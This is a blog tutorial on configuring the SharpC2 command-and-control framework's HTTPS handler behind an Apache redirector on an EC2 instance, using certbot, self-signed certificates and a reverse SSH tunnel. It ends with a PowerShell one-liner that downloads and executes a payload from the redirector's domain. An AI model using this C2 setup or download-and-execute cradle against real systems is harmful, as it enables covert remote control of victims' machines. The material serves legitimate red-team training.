Blog / April 4, 2023 /
This post will demonstrate how to use the HTTPS handler in SharpC2 with an Apache redirector. I’ll be running SharpC2 inside WSL on my physical host and an EC2 instance as my redirector. The traffic will be proxied from Apache to SharpC2 over a reverse SSH tunnel.
Redirector
First, install Apache and enable the relevant modules.
$ sudo apt update; sudo apt -y upgrade; sudo apt -y install apache2
$ sudo a2enmod ssl rewrite proxy proxy_http
Enable the default HTTPS config by adding a symlink for default-ssl.conf
in /etc/apache2/sites-enabled
. Restart Apache and check that it loads in a browser.
$ sudo systemctl restart apache2
Ensure that appropriate DNS records exist for your domain. I’m using nickelviper.com in this example where 35.179.90.226 is the public IP of the EC2 redirector.
Install certbot on the EC2 instance.
$ sudo apt -y install certbot python3-certbot-apache
Before we run it, modify default-ssl.conf
and add the ServerName
and ServerAlias
directives inside the VirtualHost
block.
ServerName nickelviper.com
ServerAlias www.nickelviper.com
Also rename the EC2 instance for good measure.
$ sudo hostnamectl set-hostname nickelviper.com
Now request the certificates with certbot. This process will automatically add them to default-ssl.conf
.
$ sudo certbot --apache --register-unsafely-without-email
Which names would you like to activate HTTPS for?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1: nickelviper.com
2: www.nickelviper.com
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Select the appropriate numbers separated by commas and/or spaces, or leave input
blank to select all options shown (Enter 'c' to cancel):
Requesting a certificate for nickelviper.com and www.nickelviper.com
Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/nickelviper.com/fullchain.pem
Key is saved at: /etc/letsencrypt/live/nickelviper.com/privkey.pem
This certificate expires on 2023-07-02.
These files will be updated when the certificate renews.
Certbot has set up a scheduled task to automatically renew this certificate in the background.
Deploying certificate
Successfully deployed certificate for nickelviper.com to /etc/apache2/sites-enabled/default-ssl.conf
Successfully deployed certificate for www.nickelviper.com to /etc/apache2/sites-enabled/default-ssl.conf
Congratulations! You have successfully enabled HTTPS on https://nickelviper.com and https://www.nickelviper.com
The trusted certificate will then be visible in a browser.
You can now remove the 000-default.conf
file and restart Apache to disable the HTTP configuration. With that portion out of the way, we can turn our attention to setting up SharpC2.
SharpC2
Generate another set of certificates for the traffic going between Apache and SharpC2.
domain="localhost"
openssl req \
-x509 \
-newkey rsa:2048 \
-sha256 \
-days 365 \
-nodes \
-keyout $domain.key \
-out $domain.crt \
-subj "/CN=${domain}" \
-extensions v3_ca \
-extensions v3_req \
-config <( \
echo '[req]'; \
echo 'default_bits= 2048'; \
echo 'distinguished_name=req'; \
echo 'x509_extension = v3_ca'; \
echo 'req_extensions = v3_req'; \
echo '[v3_req]'; \
echo 'basicConstraints = CA:FALSE'; \
echo 'keyUsage = nonRepudiation, digitalSignature, keyEncipherment'; \
echo 'subjectAltName = @alt_names'; \
echo '[ alt_names ]'; \
echo "DNS.1 = ${domain}"; \
echo '[ v3_ca ]'; \
echo 'subjectKeyIdentifier=hash'; \
echo 'authorityKeyIdentifier=keyid:always,issuer'; \
echo 'basicConstraints = critical, CA:TRUE, pathlen:0'; \
echo 'keyUsage = critical, cRLSign, keyCertSign'; \
echo 'extendedKeyUsage = serverAuth, clientAuth')
SharpC2 expects the PKCS12 format, so combine the private key and public certificate.
$ openssl pkcs12 -export -out $domain.pfx -inkey $domain.key -in $domain.crt
Enter Export Password: password
Verifying - Enter Export Password: password
Create the handler in the SharpC2 client using the domain name, certificate and certificate password.
Apache will obviously not trust this certificate. We can configure it to either ignore all bad certificates or add this certificate into the trusted store on the EC2 VM. Let’s do the latter.
Copy the public certificate to the EC2 instance.
$ scp -i demo.pem localhost.crt [email protected]:/home/ubuntu/localhost.crt
localhost.crt 100% 1066 47.4KB/s 00:00
Then add it to the trusted store using update-ca-certificates
.
$ sudo cp localhost.crt /usr/local/share/ca-certificates
$ sudo update-ca-certificates
Updating certificates in /etc/ssl/certs...
rehash: warning: skipping ca-certificates.crt,it does not contain exactly one certificate or CRL
1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d...
done.
SSH Tunnel
SSH into the EC2 instance and create a reverse port forward that will bind port 8443 on the remote host and redirect the traffic to 443 on the localhost.
$ ssh [email protected] -i demo.pem -R 8443:localhost:443 -N
You should then be able to hit the SharpC2 handler using curl
on the EC2 instance.
$ curl https://localhost:8443/test
The final step of the process is to add the proxy configuration to Apache using .htaccess
. For this, we need another edit to default-ssl.conf
. Add SSLProxyEngine on
to the VirtualHost
blocks then the following after the closing </VirtualHost>
tag.
<Directory /var/www/html/>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Require all granted
</Directory>
Create the .htaccess
file in the Apache webroot.
$ sudo vim /var/www/html/.htaccess
For the purposes of this post, I’m just going to proxy all the traffic. However, you can be selective over what traffic gets proxied, redirected or dropped, etc.
RewriteEngine on
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P]
We can then curl
the public domain name and see a hit in the SharpC2 weblog.
$ curl https://www.nickelviper.com/test2
Now it’s just a case of generating and executing a payload.
PS C:\Users\Daniel> iex (new-object net.webclient).downloadstring("https://www.nickelviper.com/a")